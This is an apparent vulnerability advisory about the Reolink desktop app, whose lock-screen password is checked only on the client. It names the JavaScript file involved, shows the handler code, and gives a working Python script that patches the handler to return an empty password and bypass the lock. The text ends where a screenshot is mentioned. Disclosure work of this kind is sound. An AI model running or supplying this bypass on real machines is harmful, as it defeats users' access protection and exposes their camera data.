The Reolink desktop application provides a local lock screen feature that allows users to set a password to prevent unauthorized access.
However, the password verification logic is implemented entirely on the client-side without any cryptographic protection or server-side validation.
This allows attackers with local file system access to bypass the authentication mechanism by modifying a specific JavaScript file.
This issue corresponds to CWE-288: Authentication Bypass Using an Alternate Path or Channel and CWE-353: Missing Support for Integrity Check.
The lock screen password is stored and retrieved via JavaScript code in the local resource bundle, specifically:
%LOCALAPPDATA%\\Programs\\Reolink\\resources\\app\\~node_modules_sharp_vendor_Sync_recursive_versions_json_~private_main_index_ts.js
The relevant code registers a handler for the command get_settings_lock_screen_password
, which returns the stored password from the a.settingsManager.lockScreenPassword
property:
this.registerCommonCmd(
"get_settings_lock_screen_password",
"",
R(function () {
return N(this, function (e) {
return [2, a.settingsManager.lockScreenPassword];
});
}),
);
Since this logic resides entirely on the client side, an attacker can patch the return value to ""
(an empty string), effectively bypassing the lock screen:
return [2, ""];
After modifying and saving this file, the application will treat the lock screen as having no password, thereby granting access without any authentication.
Below is a Python script that locates and patches the lock screen password handler in the vulnerable JavaScript file:
import re
from pathlib import Path
target_path = Path.home() / (
"AppData/Local/Programs/Reolink/resources/app/"
"~node_modules_sharp_vendor_Sync_recursive_versions_json_~private_main_index_ts.js"
)
with open(target_path, "r", encoding="utf-8") as f:
content = f.read()
pattern = re.compile(
r'(this\\.registerCommonCmd\\(\\s*"get_settings_lock_screen_password".+?return\\s+\\[2,\\s*a\\.settingsManager\\.lockScreenPassword\\s*\\];)',
re.DOTALL
)
replacement = r'return [2, ""];'
def patch_handler(match):
return match.group(0).replace(
'return [2, a.settingsManager.lockScreenPassword];', replacement
)
patched, count = pattern.subn(patch_handler, content)
if count > 0:
with open(target_path, "w", encoding="utf-8") as f:
f.write(patched)
print(f"[+] Successfully patched lock screen handler.")
else:
print("[!] Failed to locate or patch handler. Please ensure the file has not already been patched or altered.")
The following screenshot shows the Reolink application's lock screen before patching, with a password prompt enabled: